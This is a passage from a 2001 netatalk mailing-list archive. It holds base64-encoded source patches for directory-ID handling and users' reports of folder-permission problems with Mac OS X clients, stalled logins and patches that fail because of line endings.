DSB7DS0jaWZuZGVmIFVTRV9MQVNURElEDSAgICAgc3RydWN0IHN0YXQJCWhzdCwgbHN0LCAq
bHN0cDsNLSNlbHNlIC8qIFVTRV9MQVNURElEICovDS0gICAgc3RydWN0IHN0YXQJCWhzdDsN
LSNlbmRpZiAvKiBVU0VfTEFTVERJRCAqLw0gICAgIHN0cnVjdCBhZG91YmxlCWFkLCAqYWRw
Ow0gICAgIHN0cnVjdCBvZm9yayAgICAgICAgKm9mOw0gICAgIHN0cnVjdCBleHRtYXAJKmVt
Ow1AQCAtMjUzLDE2ICsyNDksMTYgQEANICAgICAgICAgICAgICAgICAgKg0gICAgICAgICAg
ICAgICAgICAqIGl0IHNob3VsZCBiZSBva2F5IHRvIHVzZSBsc3RhdCB0byBkZWFsIHdpdGgg
c3ltbGlua3MuDSAgICAgICAgICAgICAgICAgICovDS0jaWZkZWYgVVNFX0xBU1RESUQNLSAg
ICAgICAgICAgICAgICBhaW50ID0gaHRvbmwoKCBzdC0+c3RfZGV2IDw8IDE2ICkgfCAoc3Qt
PnN0X2lubyAmIDB4MDAwMGZmZmYpKTsNLSNlbHNlIC8qIFVTRV9MQVNURElEICovDSAgICAg
ICAgICAgICAgICAgbHN0cCA9IGxzdGF0KHVwYXRoLCAmbHN0KSA8IDAgPyBzdCA6ICZsc3Q7
DSAjaWZkZWYgRElEX01UQUINICAgICAgICAgICAgICAgICBhaW50ID0gaHRvbmwoIGFmcGRf
c3RfY25pZCAoIGxzdHAgKSApOw0gI2Vsc2UgLyogRElEX01UQUIgKi8NKyNpZmRlZiBVU0Vf
TEFTVERJRA0rCQkJCWFpbnQgPSBodG9ubChMQVNUKGxzdHAsIDEpKTsNKyNlbHNlIC8qIExB
U1RfRElEICovDSAgICAgICAgICAgICAgICAgYWludCA9IGh0b25sKENOSUQobHN0cCwgMSkp
Ow0tI2VuZGlmIC8qIERJRF9NVEFCICovDSAjZW5kaWYgLyogVVNFX0xBU1RESUQgKi8NKyNl
bmRpZiAvKiBESURfTVRBQiAqLw0gICAgICAgICAgICAgfQ0gDSAgICAgICAgICAgICBtZW1j
cHkoZGF0YSwgJmFpbnQsIHNpemVvZiggYWludCApKTsN

--MS_Mac_OE_3091697684_14852211_MIME_Part
Content-type: text/plain; name="enumerate.c.patch";
 x-mac-creator="74747874";
 x-mac-type="54455854"
Content-disposition: attachment
Content-transfer-encoding: base64

SW5kZXg6IGVudW1lcmF0ZS5jDT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NUkNTIGZpbGU6IC9jdnNyb290L25l
dGF0YWxrL25ldGF0YWxrL2V0Yy9hZnBkL2VudW1lcmF0ZS5jLHYNcmV0cmlldmluZyByZXZp
c2lvbiAxLjExDWRpZmYgLXUgLXIxLjExIGVudW1lcmF0ZS5jDS0tLSBlbnVtZXJhdGUuYwky
MDAxLzEyLzEwIDIwOjE2OjU0CTEuMTENKysrIGVudW1lcmF0ZS5jCTIwMDEvMTIvMjAgMTc6
MzA6MzMNQEAgLTUyLDkgKzUyLDcgQEANICAgICBzdHJ1Y3QgYWRvdWJsZSBhZDsNICNlbmRp
ZiAvKiBBRF9WRVJTSU9OID4gQURfVkVSU0lPTjEgKi8NIA0tI2lmbmRlZiBVU0VfTEFTVERJ
RA0gICAgIHN0cnVjdCBzdGF0IGxzdCwgKmxzdHA7DS0jZW5kaWYgLyogVVNFX0xBU1RESUQg
Ki8NIA0gICAgIGlmICgoY2RpciA9IGRpcm5ldyhuYW1sZW4gKyAxKSkgPT0gTlVMTCkgew0g
ICAgICAgICBzeXNsb2coIExPR19FUlIsICJhZGRkaXI6IG1hbGxvYzogJXMiLCBzdHJlcnJv
cihlcnJubykgKTsNQEAgLTgyLDE5ICs4MCwxNyBAQA0gI2VuZGlmIC8qIENOSURfREIgKi8N
IA0gICAgIGlmIChjZGlyLT5kX2RpZCA9PSAwKSB7DS0jaWZkZWYgVVNFX0xBU1RESUQNLSAg
ICAgICAgLyogbGFzdCB3YXkgb2YgZG9pbmcgRElEcyAqLw0tICAgICAgICBjZGlyLT5kX2Rp
ZCA9IGh0b25sKCB2b2wtPnZfbGFzdGRpZCsrICk7DS0jZWxzZSAvKiBVU0VfTEFTVERJRCAq
Lw0gICAgICAgICBsc3RwID0gbHN0YXQodXBhdGgsICZsc3QpIDwgMCA/IHN0IDogJmxzdDsN
ICNpZmRlZiBESURfTVRBQg0gICAgICAgICAvKiBtdGFiIHdheSBvZiBkb2luZyBESURzICov
DSAgICAgICAgIGNkaXItPmRfZGlkID0gaHRvbmwoIGFmcGRfc3RfY25pZCAoIGxzdHAgKSAp
Ow0gI2Vsc2UgLyogRElEX01UQUIgKi8NLSAgICAgICAgLyogdGhlIG9sZCB3YXkgb2YgZG9p
bmcgRElEcyAoZGVmYXVsdCkgKi8NKyNpZmRlZiBVU0VfTEFTVERJRA0rCQljZGlyLT5kX2Rp
ZCA9IGh0b25sKExBU1QobHN0cCwgMCkpOw0rI2Vsc2UNICAgICAgICAgY2Rpci0+ZF9kaWQg
PSBodG9ubCggQ05JRChsc3RwLCAwKSApOw0tI2VuZGlmIC8qIERJRF9NVEFCICovDSAjZW5k
aWYgLyogVVNFX0xBU1RESUQgKi8NKyNlbmRpZiAvKiBESURfTVRBQiAqLw0gICAgIH0NIA0g
ICAgIGlmICgoZWRpciA9IGRpcmluc2VydCggdm9sLCBjZGlyICkpKSB7DQ==

--MS_Mac_OE_3091697684_14852211_MIME_Part--



From netatalk.administrators-errors@umich.edu  Thu Dec 20 23:56:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA16463
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 20 Dec 2001 23:56:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA28507
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 20 Dec 2001 23:56:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA28485
	for netatalk.administrators-members@umich.edu; Thu, 20 Dec 2001 23:56:32 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA28440
	for <netatalk-admins@umich.edu>; Thu, 20 Dec 2001 23:56:31 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA29559;
	Thu, 20 Dec 2001 23:56:28 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Thu, 20 Dec 2001 23:56:27 -0500
Subject: Re: security issue, netatalk 1.5rc2 (and/or MacOS)?
From: Rick Zeman <rzeman@his.com>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        <netatalk-admins@umich.edu>
CC: <netatalk-devel@lists.sourceforge.net>
Message-ID: <B8482B2B.59FA%rzeman@his.com>
In-Reply-To: <B84769CA.59B4%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/20/01 10:11 AM, "Rick Zeman" <rzeman@his.com> wrote:

> That's actually a design FEATURE in 10.1!!!  I freaked out over this a month
> ago when I discovered it going from 10.1.1 to a Netware 5 server running the
> AFPTCP.nlm and sent some emails off to some people at Apple and Novell.
> Since it didn't affect the netatalk 1.4b2 that was being used or 9.x on the
> client end, I'd (wrongly) assumed that it was a Novell problem.
> I didn't hear WHY Apple consciously made that decision in 10.1, only that
> they regretted it and are working with their security people to ensure that
> it was changed correctly.

And I can't freaking believe this STILL isn't fixed in 10.1.2.  A security
problem like this?

Is this going to have to be broadcast to the whole world before Apple is
shamed into fixing such a glaring breach of security?  This is
unconscionable.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Fri Dec 21 05:57:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA02026
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 05:57:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA18351
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 05:57:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA18334
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 05:57:09 -0500 (EST)
Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id FAA18308
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 05:57:08 -0500 (EST)
Received: (qmail 502 invoked by uid 0); 21 Dec 2001 10:57:06 -0000
Date: Fri, 21 Dec 2001 11:57:06 +0100 (MET)
From: Jan Teuteberg <teuteb@gmx.de>
To: netatalk-admins@umich.edu
Cc: netatalk-devel@lists.sourceforge.net
MIME-Version: 1.0
Subject: Urgent: Server unaccessible - Login freezes (after PW-Failure)
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0005756091@gmx.net
X-Authenticated-IP: [212.28.100.58]
Message-ID: <16144.1008932226@www52.gmx.net>
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

hello netatalk admins!

my server crashed today after a short power failure. after reboot the server
looks fine - 
it comes up without any failure msg's ...

now if users want to connect on the netatalk server, their mac's stalled
after
entering userame and password.

first thought: the separate disk (/dev/sdb), where all of the volumes
defined in 'AppleVolumes.default'
are stored, is kind of messed up. but reiserfsck did not found any errors on
this drive.

second thought: netatalk configuration / files are messed up. but i did not
find any errors.
i'am using netatalk 1.5pre7 preconfigured and installed with SuSE 7.3. so we
decided to reinstall
the package netatalk and start from the beginning ... but it's still the
same. clients are stalled 
after entering username / pwd until you stop the service atalkd ...

third thought: the whole system is damaged some kind. there were still no
abnormal messages logged.
we did not found any information about this sympthom here or elsewhere so we
decided to reinstall the 
whole machine (after a backup of all relevant data of course). unfortunately
there were no success :/
after restoring data no one could access his file ...

after that i discovered the cause for those stalled logins (i suppose): all
files in those volumes 
are owned from user 'satz' of group 'satz'. every client has his own account
for logins - but all are from
group 'satz' . e.g. after user 'jens' logs in the ownership of every file is
changed to user 'jens' of group
'satz' (!!!) im not really very expierienced on linux systems, but that a
simple login can change ownership
of files is absolutely new to me ... and shure, changig ownership of 35.000
files should cause stalls and 
timout problems while logging in ...

the question is why our rig behaves like it does! we worked on this
installation about 2.5 month without
any problems and we're quite satisfied. 

how about those hidden files in every directory (.Appledouble ...)? Are
these files responsible for our
messy system? 

i hope some of you 'prooven' netatalk admins can help us out of this mess. 
please watch the end of this mail for config details ...

many, many thanks for help!

jan


config (SuSE 7.3, PIII@1Ghz, SCSI without RAID, netatalk-1.5pre7)

AppleVolumes.Default:
/home/satz/satzverwaltung  "Satzverwaltung"
mswindows,codepage:maccode.iso8859-1
/home/satz/backup_macclients  "BackupMacs"
mswindows,codepage:maccode.iso8859-1
/home/satz/fuer_alle_macs  "SetupDir" mswindows,codepage:maccode.iso8859-1
/home/satz/segment  "Segment" mswindows,codepage:maccode.iso8859-1
/home/satz/vorlagen  "Vorlagen" mswindows,codepage:maccode.iso8859-1


afpd.conf
"Applevault" -transall -guestname "satz" -icon

atalkd.conf and papd.conf are empty

netatalk.conf:
# Appletalk configuration
# Change this to increase the maximum number of clients that can connect:
AFPD_MAX_CLIENTS=300

# Change this to set the machine's atalk name and zone.
# NOTE: if you're zone has spaces in it, you're better off specifying
#       it in afpd.conf
#ATALK_ZONE=@zone
ATALK_NAME=`echo ${HOSTNAME}|cut -d. -f1`

# specify this if you don't want guest, clrtxt, and dhx
# available options: uams_guest.so, uams_clrtxt.so, uams_dhx.so, 
# 		     uams_randnum.so
#AFPD_UAMLIST="-U uams_clrtxt.so,uams_randnum.so"

# Change this to set the id of the guest user
AFPD_GUEST=satz

# Set which daemons to run (papd is dependent upon atalkd):
ATALKD_RUN=yes
PAPD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=yes

# Control whether the daemons are started in the background
ATALK_BGROUND=no

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net


From netatalk.administrators-errors@umich.edu  Fri Dec 21 06:11:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA02665
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 06:11:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA15498
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 06:11:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA15477
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 06:11:01 -0500 (EST)
Received: from yellowspace.net ([213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA15420
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 06:11:00 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000168231; Fri, 21 Dec 2001 12:11:04 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101007b847f467694f@[192.168.1.201]>
In-Reply-To: <B84769CA.59B4%rzeman@his.com>
References: <B84769CA.59B4%rzeman@his.com>
Date: Fri, 21 Dec 2001 12:10:56 +0100
To: <netatalk-admins@umich.edu>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: security issue, netatalk 1.5rc2 (and/or MacOS)?
Cc: <netatalk-devel@lists.sourceforge.net>
Content-Type: text/plain; charset="us-ascii"

Let apart, for a second, the rights-scandal that Apple has produced in OSX 10.1
(just because we can't change this, yet we can hope that L.W. is monitoring this thread!)

Still, I don't actually get why,
with netatalk 1.5rc2, __OS9.1__ clients don't keep the sticky bit on...

I just re-verified it across netatalk versions.

Parent folder within share: of the kind drwxrws--x

### with netatalk-1.5rc2:
A new folder, as well as a duplicate folder, produce folders like this:
(like samba without the force directory and file modes options...):

drwxrwx---

so all files and dirs created within the copied folder will have the user's primary group instead of inheriting the share's group.

### with netatalk-1.4+asun2.1.4_pre37_test,
the rights of the new folder are completely correct (from my point of view...):

drwxrws--x

### with netatalk-1.5pre38
the rights of the new folder are like this:

drwxrws---

(so the execute bit is missing, which is not as tragical as the missing sticky bit...)

Please help us out of this from the netatalk side!
(Per-share dir and file modes options....?)


Lorenzo


At 10:11 Uhr -0500 20.12.2001, Rick Zeman wrote:
>On 12/20/01 9:30 AM, "Lorenzo Perone" <lopez.on.the.lists@yellowspace.net>
>wrote:
>
>> Since the update to rc2:
>> environment: parent directories and share directories with the following
>> rights:
>> drwxrws--x
>>
>> ### the following happens with _client: OS X 10.1.1_:
>>
>> when making a new folder inside of such a directory over th Finder,
>> I get a new one with the following rights on the server:
>>
>> drwxrwxr-x (others get read access, and group loses sticky bit)
>>
>> worse yet, if I take an existing folder (drwxrws--x ) and duplicate it in the
>> Finder,
>> I get one with
>>
>> drwxrwxrwx !! (as well as all the files inside, all -rwxrwxrwx)
>>
>> ### The following happens with  _client: OS 9.1_:
>>
>> when making a new folder:
>>
>> drwxrwx--- (others lose execute, group loses sticky bit)
>>
>> duplicate it in the Finder makes the same as a new one on OS9.
>
>That's actually a design FEATURE in 10.1!!!  I freaked out over this a month
>ago when I discovered it going from 10.1.1 to a Netware 5 server running the
>AFPTCP.nlm and sent some emails off to some people at Apple and Novell.
>Since it didn't affect the netatalk 1.4b2 that was being used or 9.x on the
>client end, I'd (wrongly) assumed that it was a Novell problem.
>I didn't hear WHY Apple consciously made that decision in 10.1, only that
>they regretted it and are working with their security people to ensure that
>it was changed correctly.
>
>It only affects folder creation (and its contents), not file-only creation.
>Basically, all new folders and their contents become world readable and
>writeable no matter what the parent folders permissions are, as you saw.
>
>In Netware parlance, an explicit trustee of ROOT was added with full perms
>so any user, or any object in the NDS tree had full access to those files.
>Horrible.
>
>
>--
>"So Long, and Thanks For All the Fish."
>       --Douglas Adams
>          1952-2001


From netatalk.administrators-errors@umich.edu  Fri Dec 21 07:52:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA07331
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 07:52:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA03150
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 07:52:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA03131
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 07:52:38 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA03080
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 07:52:37 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 6768 invoked from network); 21 Dec 2001 12:49:49 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-48.tower-1.london-2.starlabs.net with SMTP; 21 Dec 2001 12:49:49 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id MAA20726; Fri, 21 Dec 2001 12:52:34 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id MAA05624; Fri, 21 Dec 2001 12:52:32 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B29.0046B679 ; Fri, 21 Dec 2001 12:52:22 +0000
X-Lotus-FromDomain: HARLEQUIN
To: Steve Freitas <sflist@ihonk.com>
cc: Joe Clarke <marcus@marcuscom.com>, rzeman@his.com,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <80256B29.0046B4A7.00@notescam.cam.harlequin.co.uk>
Date: Fri, 21 Dec 2001 12:52:17 +0000
Subject: Re: Error -50 copying from OS X
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

Trying to do this on linux redhat 7.1, I get

bash-2.04$ patch -p0 <directory.h.patch
patch unexpectedly ends in middle of line
patch: **** Only garbage was found in the patch input.


At 20/12/2001 20:54:44, Steve Freitas <sflist@ihonk.com> wrote:
#  Rick,
#
#  Joe Clarke has heard your pain! See below:
#
#  ----------
#  From: Joe Clarke <marcus@marcuscom.com>
#  Date: Thu, 20 Dec 2001 12:33:00 -0500 (EST)
#  To: Steve Freitas <sflist@ihonk.com>
#  Subject: Re: FW: Error -50 copying from OS X
#
#  Give these patches a try.  This implements a hashdid/lastdid hybrid.
#  You're free to give these out to others, but know that it may cause data
#  loss.  Hopefully, it will fix the -50 errors while not causing data loss.
#  Please provide feedback as soon as you can.
#
#  Joe
#  ----------
#
#  The patches should apply against RC2. Grab it, untar it, then put the
#  patches into <netatalk RC2 source dir>/etc/afpd. Then cd to etc/afpd and
#  apply them:
#
#  patch -p0 < directory.h.patch
#  patch -p0 < file.c.patch
#  patch -p0 < enumerate.c.patch
#
#  Then configure, use --with-did=last, make, make install and give it a try.
#
#  Steve
#
#
#   - directory.h.patch - file.c.patch - enumerate.c.patch
Roger



From netatalk.administrators-errors@umich.edu  Fri Dec 21 10:05:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14937
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 10:05:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA03694
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 10:05:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA03674
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 10:05:04 -0500 (EST)
Received: from smtp04.retemail.es (smtp04.iddeo.es [62.81.186.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA03620
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 10:05:03 -0500 (EST)
Received: from [10.0.0.100] ([80.224.107.32]) by smtp04.retemail.es
          (InterMail vM.5.01.03.02 201-253-122-118-102-20010403) with ESMTP
          id <20011221150502.SJWU4561.smtp04.retemail.es@[10.0.0.100]>;
          Fri, 21 Dec 2001 16:05:02 +0100
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Fri, 21 Dec 2001 16:05:00 +0100
Subject: Re: security issue, netatalk 1.5rc2 (and/or MacOS)?
From: Jason Quigley <jasonq@mac.com>
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        <netatalk-admins@umich.edu>
CC: <netatalk-devel@lists.sourceforge.net>
Message-ID: <B8490E2C.6DD3%jasonq@mac.com>
In-Reply-To: <a05101007b847f467694f@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

It would be nice to be able to specify the mode in the configuration (for
each volume) like we can in Samba.

> From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
> Date: Fri, 21 Dec 2001 12:10:56 +0100
> To: <netatalk-admins@umich.edu>
> Cc: <netatalk-devel@lists.sourceforge.net>
> Subject: Re: security issue, netatalk 1.5rc2 (and/or MacOS)?
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 21 Dec 2001 06:11:03 -0500 (EST)
> 
> Let apart, for a second, the rights-scandal that Apple has produced in OSX
> 10.1
> (just because we can't change this, yet we can hope that L.W. is monitoring
> this thread!)
> 
> Still, I don't actually get why,
> with netatalk 1.5rc2, __OS9.1__ clients don't keep the sticky bit on...
> 
> I just re-verified it across netatalk versions.
> 
> Parent folder within share: of the kind drwxrws--x
> 
> ### with netatalk-1.5rc2:
> A new folder, as well as a duplicate folder, produce folders like this:
> (like samba without the force directory and file modes options...):
> 
> drwxrwx---
> 
> so all files and dirs created within the copied folder will have the user's
> primary group instead of inheriting the share's group.
> 
> ### with netatalk-1.4+asun2.1.4_pre37_test,
> the rights of the new folder are completely correct (from my point of
> view...):
> 
> drwxrws--x
> 
> ### with netatalk-1.5pre38
> the rights of the new folder are like this:
> 
> drwxrws---
> 
> (so the execute bit is missing, which is not as tragical as the missing sticky
> bit...)
> 
> Please help us out of this from the netatalk side!
> (Per-share dir and file modes options....?)
> 
> 
> Lorenzo
> 
> 
> At 10:11 Uhr -0500 20.12.2001, Rick Zeman wrote:
>> On 12/20/01 9:30 AM, "Lorenzo Perone" <lopez.on.the.lists@yellowspace.net>
>> wrote:
>> 
>>> Since the update to rc2:
>>> environment: parent directories and share directories with the following
>>> rights:
>>> drwxrws--x
>>> 
>>> ### the following happens with _client: OS X 10.1.1_:
>>> 
>>> when making a new folder inside of such a directory over th Finder,
>>> I get a new one with the following rights on the server:
>>> 
>>> drwxrwxr-x (others get read access, and group loses sticky bit)
>>> 
>>> worse yet, if I take an existing folder (drwxrws--x ) and duplicate it in
>>> the
>>> Finder,
>>> I get one with
>>> 
>>> drwxrwxrwx !! (as well as all the files inside, all -rwxrwxrwx)
>>> 
>>> ### The following happens with  _client: OS 9.1_:
>>> 
>>> when making a new folder:
>>> 
>>> drwxrwx--- (others lose execute, group loses sticky bit)
>>> 
>>> duplicate it in the Finder makes the same as a new one on OS9.
>> 
>> That's actually a design FEATURE in 10.1!!!  I freaked out over this a month
>> ago when I discovered it going from 10.1.1 to a Netware 5 server running the
>> AFPTCP.nlm and sent some emails off to some people at Apple and Novell.
>> Since it didn't affect the netatalk 1.4b2 that was being used or 9.x on the
>> client end, I'd (wrongly) assumed that it was a Novell problem.
>> I didn't hear WHY Apple consciously made that decision in 10.1, only that
>> they regretted it and are working with their security people to ensure that
>> it was changed correctly.
>> 
>> It only affects folder creation (and its contents), not file-only creation.
>> Basically, all new folders and their contents become world readable and
>> writeable no matter what the parent folders permissions are, as you saw.
>> 
>> In Netware parlance, an explicit trustee of ROOT was added with full perms
>> so any user, or any object in the NDS tree had full access to those files.
>> Horrible.
>> 
>> 
>> --
>> "So Long, and Thanks For All the Fish."
>>       --Douglas Adams
>>          1952-2001
> 
> 



From netatalk.administrators-errors@umich.edu  Fri Dec 21 10:08:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA15102
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 21 Dec 2001 10:08:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA28263
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 21 Dec 2001 10:08:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA28255
	for netatalk.administrators-members@umich.edu; Fri, 21 Dec 2001 10:08:46 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA28241
	for <netatalk-admins@umich.edu>; Fri, 21 Dec 2001 10:08:45 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id KAA11959;
	Fri, 21 Dec 2001 10:08:40 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Fri, 21 Dec 2001 11:08:39 -0500
Subject: Re: Error -50 copying from OS X
From: Rick Zeman <rzeman@his.com>
To: <roger.day@globalgraphics.com>, Steve Freitas <sflist@ihonk.com>
CC: Joe Clarke <marcus@marcuscom.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B848C8B6.5A14%rzeman@his.com>
In-Reply-To: <80256B29.0046B4A7.00@notescam.cam.harlequin.co.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 12/21/01 7:52 AM, "roger.day@globalgraphics.com"
<roger.day@globalgraphics.com> wrote:

> Trying to do this on linux redhat 7.1, I get
> 
> bash-2.04$ patch -p0 <directory.h.patch
> patch unexpectedly ends in middle of line
> patch: **** Only garbage was found in the patch input.
> 
> 
> At 20/12/2001 20:54:44, Steve Freitas <sflist@ihonk.com> wrote:
> #  Rick,
> #
> #  Joe Clarke has heard your pain! See below:
> #
> #  ----------
> #  From: Joe Clarke <marcus@marcuscom.com>
> #  Date: Thu, 20 Dec 2001 12:33:00 -0500 (EST)
> #  To: Steve Freitas <sflist@ihonk.com>
> #  Subject: Re: FW: Error -50 copying from OS X
> #
> #  Give these patches a try.  This implements a hashdid/lastdid hybrid.
> #  You're free to give these out to others, but know that it may cause data
> #  loss.  Hopefully, it will fix the -50 errors while not causing data loss.
> #  Please provide feedback as soon as you can.
> #
> #  Joe
> #  ----------
> #
> #  The patches should apply against RC2. Grab it, untar it, then put the
> #  patches into <netatalk RC2 source dir>/etc/afpd. Then cd to etc/afpd and
> #  apply them:
> #
> #  patch -p0 < directory.h.patch
> #  patch -p0 < file.c.patch
> #  patch -p0 < enumerate.c.patch
> #
> #  Then configure, use --with-did=last, make, make install and give it a try.
> #
> #  Steve
> #
> #
> #   - directory.h.patch - file.c.patch - enumerate.c.patch

Yah, that was because somehow (Steve's OE?) the text files got converted to
Mac line endings.  Change the files to Unix endings (I used BBEdit) and
they'll then work.

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Fri Dec 21 10:09:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
